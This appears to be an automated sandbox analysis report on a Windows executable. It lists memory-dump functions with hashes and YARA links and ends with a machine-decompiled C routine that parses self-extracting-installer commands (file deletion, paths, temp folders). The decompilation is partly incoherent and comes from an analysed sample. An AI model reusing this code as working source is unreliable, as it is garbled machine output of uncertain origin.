Function 01110DC8, Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction ID: ce537a86dbc60debaf2a40032abf0adf54153265d2a98ca490b69ec5a74bafcf
Opcode Fuzzy Hash: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction Fuzzy Hash: 86C182326091A30AEF6E463E953413FFFA15A966B131A077DE5B6CB1C9FF20C164D620

Uniqueness

Uniqueness Score: -1.00%

Function 0111055E, Relevance: .3, Instructions: 331COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
Instruction ID: 360fa2d47693b218c7f379417f850b6013bf153df29062266532b2f8d1752b5e
Opcode Fuzzy Hash: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
Instruction Fuzzy Hash: D1C14032A091930AEB6E463D957403FFFA15A966B131A077DE4B6CB1D9FF20C1A4D620

Uniqueness

Uniqueness Score: -1.00%

Function 01110146, Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction ID: a2cda327930a16c218ac16eaae8d261e2cfeef60c6544349339417e9f25140f1
Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction Fuzzy Hash: AEC16F326091930AEB6E463D957403FFFA15A996B131A177DF4B6CB5C9FF20C1A4C620

Uniqueness

Uniqueness Score: -1.00%

Function 010FE1E0, Relevance: .3, Instructions: 318COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7737199a3c5059a973b0b8835427ab7865200080e334637eae3167979abc9a58
Instruction ID: cf160d92989f89195cba4c68f26cf916bc02c782f4af38b436d87a9ad576f15e
Opcode Fuzzy Hash: 7737199a3c5059a973b0b8835427ab7865200080e334637eae3167979abc9a58
Instruction Fuzzy Hash: CDE155755083848FC758CF29E49086EBBF1AF9A300F89096EF5D587356C335EA09CB62

Uniqueness

Uniqueness Score: -1.00%

Function 011039AC, Relevance: .3, Instructions: 263COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66462eb08bd74f8c30c79f1e955b78a3e9fbc8ee5d976a6d57d0dc80841f2e89
Instruction ID: b454d605ad538f6ea315876ed48ff60d5510d435434245ef4dd5a832738d3c73
Opcode Fuzzy Hash: 66462eb08bd74f8c30c79f1e955b78a3e9fbc8ee5d976a6d57d0dc80841f2e89
Instruction Fuzzy Hash: 129159B0A1474A8FDB2EEE28D894BBA77D5BB90304F00092DD6ABC72C1DBB49145C742

Uniqueness

Uniqueness Score: -1.00%

Function 011147A9, Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70b2c51ba70dca0529a82fe06f093728ed9009e4918745fcebecef69dd67a61e
Instruction ID: fa22f13b2147342a51ba141fef3fe438e210eaded08f74cf107375a60ac7fe3e
Opcode Fuzzy Hash: 70b2c51ba70dca0529a82fe06f093728ed9009e4918745fcebecef69dd67a61e
Instruction Fuzzy Hash: 06616761A1078A66EE3C99EC8890BBEE795EB45F04F00053ADE42DBD8DE711D942C256

Uniqueness

Uniqueness Score: -1.00%

Function 01103CDD, Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a18d49064e165be0d32872db8d66ea11280a91596ba4a1cde63f58a8bde047c
Instruction ID: 70bf268f0f4e0f0196fa125b0adb9843845948bdcf3701c0606629db3bd404b7
Opcode Fuzzy Hash: 3a18d49064e165be0d32872db8d66ea11280a91596ba4a1cde63f58a8bde047c
Instruction Fuzzy Hash: DA712971B143468FDB2FDE28C8D0FAD76D5BB91304F000A2DEAD68B6C2DBB494858752

Uniqueness

Uniqueness Score: -1.00%

Function 0111457A, Relevance: .2, Instructions: 214COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5deea3b29f66a918188f7a75532971316276c2599c24e1ebb0fa75850081f94e
Instruction ID: 053a7e2391d03fb419bdb338daa1450be2c495f754ab00bd5d9f687e82ad6c3b
Opcode Fuzzy Hash: 5deea3b29f66a918188f7a75532971316276c2599c24e1ebb0fa75850081f94e
Instruction Fuzzy Hash: 1E516B71604A4597EB7D896C85647BEEBCA9B52F0CF080E39CA82DBE8EC714D501C357

Uniqueness

Uniqueness Score: -1.00%

Function 010FDDAC, Relevance: .2, Instructions: 190COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acf6208984dad40eec30d3fefbd79a40c0cb9707b4d4ef6567551f87442558f1
Instruction ID: 0ac98d56a22c2eb5af0bd6615800f363922b6dbfcb35013a7e82b35344f18ea3
Opcode Fuzzy Hash: acf6208984dad40eec30d3fefbd79a40c0cb9707b4d4ef6567551f87442558f1
Instruction Fuzzy Hash: E1819F822192D4AECB6A9E7C34E52F93FA15733200B1901FA85E587A9FD1364ADCD721

Uniqueness

Uniqueness Score: -1.00%

Function 010FE7E0, Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5e3f751f5d08235e9612fb5c1706b74685577924a41f25f152f8594577a98be
Instruction ID: 84096403b360e50059ce6dd6a29cb01498dec19864d096876fb51488d042d41a
Opcode Fuzzy Hash: d5e3f751f5d08235e9612fb5c1706b74685577924a41f25f152f8594577a98be
Instruction Fuzzy Hash: 1A51B33050C3D24FD712DF28D14446EBFE1BFDA214F5A489EE5E54B667C220964ACBA3

Uniqueness

Uniqueness Score: -1.00%

Function 010FF8A8, Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03169733a97c184e68b6424dccd3ce7ef0645b6d39978284439a4ae06be5f5ca
Instruction ID: c9ac0e6f1b1349c5334c5f0ce5707a934db6d54e4fa37edd0065a1710eaa357d
Opcode Fuzzy Hash: 03169733a97c184e68b6424dccd3ce7ef0645b6d39978284439a4ae06be5f5ca
Instruction Fuzzy Hash: 79512671A083129FC748CF19D48059AF7E1FFC8324F058A2EE899A7741DB34E959CB96

Uniqueness

Uniqueness Score: -1.00%

Function 01103731, Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 680dd35d5b71cc1049d84931067584ed44f7cee91fcb56c6d02cf908e44fe073
Instruction ID: 36106c2de704fef77707b675c8a86937dd22f8a0ceee07885b9dcf3af8967fe0
Opcode Fuzzy Hash: 680dd35d5b71cc1049d84931067584ed44f7cee91fcb56c6d02cf908e44fe073
Instruction Fuzzy Hash: A031E5B1B147068FCB19DF28C8516AABBE0FB95300F10492DD5DAC7782C779E549CB91

Uniqueness

Uniqueness Score: -1.00%

Function 010F5F0C, Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f4fabd44705a99195a8c8e94caf4f5a903eea485ffd5ae9a52cf412cd800b61
Instruction ID: 1a87e9c1b7828b1490576e40cebf52c692435407a43dab19b59a7bdb142cfbae
Opcode Fuzzy Hash: 9f4fabd44705a99195a8c8e94caf4f5a903eea485ffd5ae9a52cf412cd800b61
Instruction Fuzzy Hash: A9213731A200759BCBACCE2DEC9183677A1B786310746817FEB928B2C5D534E975C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 0110BD35, Relevance: 33.7, APIs: 15, Strings: 4, Instructions: 428
windowCOMMON

Download Yara Rule

C-Code - Quality: 56%

			E0110BD35(void* __edx) {
				intOrPtr _t213;
				void* _t218;
				intOrPtr _t274;
				void* _t287;
				signed int _t289;
				void* _t293;
				signed int _t294;
				void* _t298;

				_t287 = __edx;
				E0110E0E4(0x1121e93, _t298);
				_t213 = 0x1bc80;
				E0110E1C0();
				if( *((intOrPtr*)(_t298 + 0xc)) == 0) {
					L167:
					 *[fs:0x0] =  *((intOrPtr*)(_t298 - 0xc));
					return _t213;
				}
				_push(0x1000);
				_push(_t298 - 0xe);
				_push(_t298 - 0xd);
				_push(_t298 - 0x5c84);
				_push(_t298 - 0xfc8c);
				_push( *((intOrPtr*)(_t298 + 0xc)));
				_t213 = E0110A986();
				 *((intOrPtr*)(_t298 + 0xc)) = 0x1bc80;
				if(0x1bc80 != 0) {
					_t274 =  *((intOrPtr*)(_t298 + 0x10));
					do {
						_t218 = _t298 - 0x5c84;
						_t293 = _t298 - 0x1bc8c;
						_t289 = 6;
						goto L4;
						L6:
						while(E01101708(_t298 - 0xfc8c,  *((intOrPtr*)(0x112d618 + _t294 * 4))) != 0) {
							_t294 = _t294 + 1;
							if(_t294 < 0xe) {
								continue;
							} else {
								goto L165;
							}
						}
						if(_t294 > 0xd) {
							goto L165;
						}
						switch( *((intOrPtr*)(_t294 * 4 +  &M0110C929))) {
							case 0:
								__eflags = _t274 - 2;
								if(_t274 == 2) {
									E01109D58(_t298 - 0x7c84, 0x800);
									E010FA3DD(E010FB8A5(_t298 - 0x7c84, _t298 - 0x5c84, _t298 - 0xdc8c, 0x800), _t274, _t298 - 0x8c8c, _t294);
									 *(_t298 - 4) = 0;
									E010FA517(_t298 - 0x8c8c, _t298 - 0xdc8c);
									E010F7098(_t298 - 0x3c84);
									while(1) {
										_push(0);
										_t282 = _t298 - 0x8c8c;
										_t236 = E010FA46A(_t298 - 0x8c8c, _t287, _t298 - 0x3c84);
										__eflags = _t236;
										if(_t236 == 0) {
											break;
										}
										SetFileAttributesW(_t298 - 0x3c84, 0);
										__eflags =  *(_t298 - 0x2c78);
										if(__eflags == 0) {
											L18:
											_t240 = GetFileAttributesW(_t298 - 0x3c84);
											__eflags = _t240 - 0xffffffff;
											if(_t240 == 0xffffffff) {
												continue;
											}
											_t242 = DeleteFileW(_t298 - 0x3c84);
											__eflags = _t242;
											if(_t242 != 0) {
												continue;
											} else {
												_t296 = 0;
												_push(0);
												goto L22;
												L22:
												E010F3FD6(_t298 - 0x103c, 0x800, L"%s.%d.tmp", _t298 - 0x3c84);
												_t300 = _t300 + 0x14;
												_t247 = GetFileAttributesW(_t298 - 0x103c);
												__eflags = _t247 - 0xffffffff;
												if(_t247 != 0xffffffff) {
													_t296 = _t296 + 1;
													__eflags = _t296;
													_push(_t296);
													goto L22;
												} else {
													_t250 = MoveFileW(_t298 - 0x3c84, _t298 - 0x103c);
													__eflags = _t250;
													if(_t250 != 0) {
														MoveFileExW(_t298 - 0x103c, 0, 4);
													}
													continue;
												}
											}
										}
										E010FB437(_t282, __eflags, _t298 - 0x7c84, _t298 - 0x103c, 0x800);
										E010FB147(__eflags, _t298 - 0x103c, 0x800);
										_t297 = E011133F3(_t298 - 0x7c84);
										__eflags = _t297 - 4;
										if(_t297 < 4) {
											L16:
											_t261 = E010FB865(_t298 - 0x5c84);
											__eflags = _t261;
											if(_t261 != 0) {
												break;
											}
											L17:
											_t264 = E011133F3(_t298 - 0x3c84);
											__eflags = 0;
											 *((short*)(_t298 + _t264 * 2 - 0x3c82)) = 0;
											E0110F1A0(0x800, _t298 - 0x3c, 0, 0x1e);
											_t300 = _t300 + 0x10;
											 *((intOrPtr*)(_t298 - 0x38)) = 3;
											_push(0x14);
											_pop(_t267);
											 *((short*)(_t298 - 0x2c)) = _t267;
											 *((intOrPtr*)(_t298 - 0x34)) = _t298 - 0x3c84;
											SHFileOperationW(_t298 - 0x3c);
											goto L18;
										}
										_t272 = E011133F3(_t298 - 0x103c);
										__eflags = _t297 - _t272;
										if(_t297 > _t272) {
											goto L17;
										}
										goto L16;
									}
									 *(_t298 - 4) =  *(_t298 - 4) | 0xffffffff;
									E010FA3F3(_t298 - 0x8c8c);
								}
								goto L165;
							case 1:
								__eflags = __ebx;
								if(__ebx != 0) {
									goto L165;
								} else {
									__eax =  *0x114cc7c;
									__eflags =  *0x114cc7c;
									__ebx = __ebx & 0xffffff00 |  *0x114cc7c == 0x00000000;
									__eflags = __bl;
									if(__bl == 0) {
										__eax =  *0x114cc7c;
										_pop(__ecx);
										_pop(__ecx);
									}
									__bh =  *((intOrPtr*)(__ebp - 0xd));
									__eflags = __bh;
									if(__eflags == 0) {
										__eax = __ebp + 0xc;
										_push(__ebp + 0xc);
										__esi = E0110AAEA(__ecx, __edx, __eflags);
										__eax =  *0x114cc7c;
									} else {
										__esi = __ebp - 0x5c84;
									}
									__eflags = __bl;
									if(__bl == 0) {
										__edi = __eax;
									}
									__eax = E011133F3(__esi);
									__eax = __eax + __edi;
									_push(__eax);
									_push( *0x114cc7c);
									__eax = E0111341E(__ecx, __edx);
									__esp = __esp + 0xc;
									__eflags = __eax;
									if(__eax == 0) {
										L39:
										__eflags = __bh;
										if(__bh == 0) {
											__eax = L0111340E(__esi);
										}
										goto L165;
									}
									 *0x114cc7c = __eax;
									__eflags = __bl;
									if(__bl != 0) {
										__ecx = 0;
										__eflags = 0;
										 *__eax = __cx;
									}
									__eax = E01116FAD(__eax, __esi);
									_pop(__ecx);
									_pop(__ecx);
									goto L39;
								}
							case 2:
								__eflags = __ebx;
								if(__ebx == 0) {
									__ebp - 0x5c84 = SetWindowTextW( *(__ebp + 8), __ebp - 0x5c84);
								}
								goto L165;
							case 3:
								__eflags = __ebx;
								if(__ebx != 0) {
									goto L165;
								}
								__eflags =  *0x1139472 - __di;
								if( *0x1139472 != __di) {
									goto L165;
								}
								__eax = 0;
								__edi = __ebp - 0x5c84;
								_push(0x22);
								 *(__ebp - 0x103c) = __ax;
								_pop(__eax);
								__eflags =  *(__ebp - 0x5c84) - __ax;
								if( *(__ebp - 0x5c84) == __ax) {
									__edi = __ebp - 0x5c82;
								}
								__eax = E011133F3(__edi);
								__esi = 0x800;
								__eflags = __eax - 0x800;
								if(__eax >= 0x800) {
									goto L165;
								} else {
									__eax =  *__edi & 0x0000ffff;
									_push(0x5c);
									_pop(__ecx);
									__eflags = ( *__edi & 0x0000ffff) - 0x2e;
									if(( *__edi & 0x0000ffff) != 0x2e) {
										L52:
										__eflags = __ax - __cx;
										if(__ax == __cx) {
											L64:
											__ebp - 0x103c = E010FFD96(__ebp - 0x103c, __edi, __esi);
											__ebx = 0;
											__eflags = 0;
											L65:
											_push(0x22);
											_pop(__eax);
											__eax = __ebp - 0x103c;
											__eax = E0111161B(__ebp - 0x103c, __ebp - 0x103c);
											_pop(__ecx);
											_pop(__ecx);
											__eflags = __eax;
											if(__eax != 0) {
												__eflags =  *((intOrPtr*)(__eax + 2)) - __bx;
												if( *((intOrPtr*)(__eax + 2)) == __bx) {
													__ecx = 0;
													__eflags = 0;
													 *__eax = __cx;
												}
											}
											__eax = __ebp - 0x103c;
											__edi = 0x1139472;
											E010FFD96(0x1139472, __ebp - 0x103c, __esi) = __ebp - 0x103c;
											__eax = E0110A81F(__ebp - 0x103c, __esi);
											__esi = GetDlgItem( *(__ebp + 8), 0x66);
											__ebp - 0x103c = SetWindowTextW(__esi, __ebp - 0x103c);
											__eax = SendMessageW(__esi, 0x143, __ebx, 0x1139472);
											__eax = __ebp - 0x103c;
											__eax = E01113429(__ebp - 0x103c, 0x1139472, __eax);
											_pop(__ecx);
											_pop(__ecx);
											__eflags = __eax;
											if(__eax != 0) {
												__ebp - 0x103c = SendMessageW(__esi, 0x143, __ebx, __ebp - 0x103c);
											}
											goto L165;
										}
										__eflags = __ax;
										if(__ax == 0) {
											L55:
											__eax = __ebp - 0x18;
											__ebx = 0;
											_push(__ebp - 0x18);
											_push(1);
											_push(0);
											_push(L"Software\\Microsoft\\Windows\\CurrentVersion");
											_push(0x80000002);
											__eax =  *0x1151028();
											__eflags = __eax;
											if(__eax == 0) {
												__eax = __ebp - 0x14;
												 *(__ebp - 0x14) = 0x1000;
												_push(__ebp - 0x14);
												__eax = __ebp - 0x103c;
												_push(__ebp - 0x103c);
												__eax = __ebp - 0x1c;
												_push(__ebp - 0x1c);
												_push(0);
												_push(L"ProgramFilesDir");
												_push( *(__ebp - 0x18));
												__eax =  *0x1151024();
												_push( *(__ebp - 0x18));
												 *0x1151004() =  *(__ebp - 0x14);
												__ecx = 0x7ff;
												__eax =  *(__ebp - 0x14) >> 1;
												__eflags = __eax - 0x7ff;
												if(__eax >= 0x7ff) {
													__eax = 0x7ff;
												}
												__ecx = 0;
												__eflags = 0;
												 *(__ebp + __eax * 2 - 0x103c) = __cx;
											}
											__eflags =  *(__ebp - 0x103c) - __bx;
											if( *(__ebp - 0x103c) != __bx) {
												__eax = __ebp - 0x103c;
												__eax = E011133F3(__ebp - 0x103c);
												_push(0x5c);
												_pop(__ecx);
												__eflags =  *((intOrPtr*)(__ebp + __eax * 2 - 0x103e)) - __cx;
												if(__eflags != 0) {
													__ebp - 0x103c = E010FFD6E(__eflags, __ebp - 0x103c, "\\", __esi);
												}
											}
											__esi = E011133F3(__edi);
											__eax = __ebp - 0x103c;
											__eflags = __esi - 0x7ff;
											__esi = 0x800;
											if(__eflags < 0) {
												__ebp - 0x103c = E010FFD6E(__eflags, __ebp - 0x103c, __edi, 0x800);
											}
											goto L65;
										}
										__eflags =  *((short*)(__edi + 2)) - 0x3a;
										if( *((short*)(__edi + 2)) == 0x3a) {
											goto L64;
										}
										goto L55;
									}
									__eflags =  *((intOrPtr*)(__edi + 2)) - __cx;
									if( *((intOrPtr*)(__edi + 2)) != __cx) {
										goto L52;
									}
									__edi = __edi + 4;
									__ebx = 0;
									__eflags =  *__edi - __bx;
									if( *__edi == __bx) {
										goto L165;
									}
									__ebp - 0x103c = E010FFD96(__ebp - 0x103c, __edi, 0x800);
									goto L65;
								}
							case 4:
								__eflags =  *0x113946c - 1;
								__eflags = __eax - 0x113946c;
								 *__edi =  *__edi + __ecx;
								__eflags =  *(__ebx + 6) & __bl;
								 *__eax =  *__eax + __al;
								__eflags =  *__eax;
							case 5:
								__eax =  *(__ebp - 0x5c84) & 0x0000ffff;
								__ecx = 0;
								__eax =  *(__ebp - 0x5c84) & 0x0000ffff;
								__eflags = __eax;
								if(__eax == 0) {
									L82:
									 *0x1137442 = __cl;
									 *0x1137443 = 1;
									goto L165;
								}
								__eax = __eax - 0x30;
								__eflags = __eax;
								if(__eax == 0) {
									 *0x1137442 = __cl;
									L81:
									 *0x1137443 = __cl;
									goto L165;
								}
								__eax = __eax - 1;
								__eflags = __eax;
								if(__eax == 0) {
									goto L82;
								}
								__eax = __eax - 1;
								__eflags = __eax;
								if(__eax != 0) {
									goto L165;
								}
								 *0x1137442 = 1;
								goto L81;
							case 6:
								__eflags = __ebx - 4;
								if(__ebx != 4) {
									goto L92;
								}
								__eax = __ebp - 0x5c84;
								__eax = E01113429(__ebp - 0x5c84, __eax, L"<>");
								_pop(__ecx);
								_pop(__ecx);
								__eflags = __eax;
								if(__eax == 0) {
									goto L92;
								}
								_push(__edi);
								goto L91;
							case 7:
								__eflags = __ebx - 1;
								if(__eflags != 0) {
									L113:
									__eflags = __ebx - 7;
									if(__ebx == 7) {
										__eflags =  *0x113946c;
										if( *0x113946c == 0) {
											 *0x113946c = 2;
										}
										 *0x1138468 = 1;
									}
									goto L165;
								}
								__eax = __ebp - 0x7c84;
								__edi = 0x800;
								__eax = GetTempPathW(0x800, __ebp - 0x7c84); // executed
								__ebp - 0x7c84 = E010FB147(__eflags, __ebp - 0x7c84, 0x800);
								__eax = 0;
								__esi = 0;
								_push(0);
								while(1) {
									_push( *0x112d5f8);
									__ebp - 0x7c84 = E010F3FD6(0x113846a, __edi, L"%s%s%u", __ebp - 0x7c84);
									__eax = E010FA0C0(0x113846a);
									__eflags = __al;
									if(__al == 0) {
										break;
									}
									__esi =  &(__esi->i);
									__eflags = __esi;
									_push(__esi);
								}
								__eax = SetDlgItemTextW( *(__ebp + 8), 0x66, 0x113846a); // executed
								__eflags =  *(__ebp - 0x5c84);
								if( *(__ebp - 0x5c84) == 0) {
									goto L165;
								}
								__eflags =  *0x1145b72;
								if( *0x1145b72 != 0) {
									goto L165;
								}
								__eax = 0;
								 *(__ebp - 0x143c) = __ax;
								__eax = __ebp - 0x5c84;
								_push(0x2c);
								_push(__ebp - 0x5c84);
								__eax = E01111438(__ecx);
								_pop(__ecx);
								_pop(__ecx);
								__eflags = __eax;
								if(__eax != 0) {
									L109:
									__eflags =  *(__ebp - 0x143c);
									if( *(__ebp - 0x143c) == 0) {
										__ebp - 0x1bc8c = __ebp - 0x5c84;
										E010FFD96(__ebp - 0x5c84, __ebp - 0x1bc8c, 0x1000) = __ebp - 0x19c8c;
										__ebp - 0x143c = E010FFD96(__ebp - 0x143c, __ebp - 0x19c8c, 0x200);
									}
									__ebp - 0x5c84 = E0110A472(__ebp - 0x5c84);
									__eax = 0;
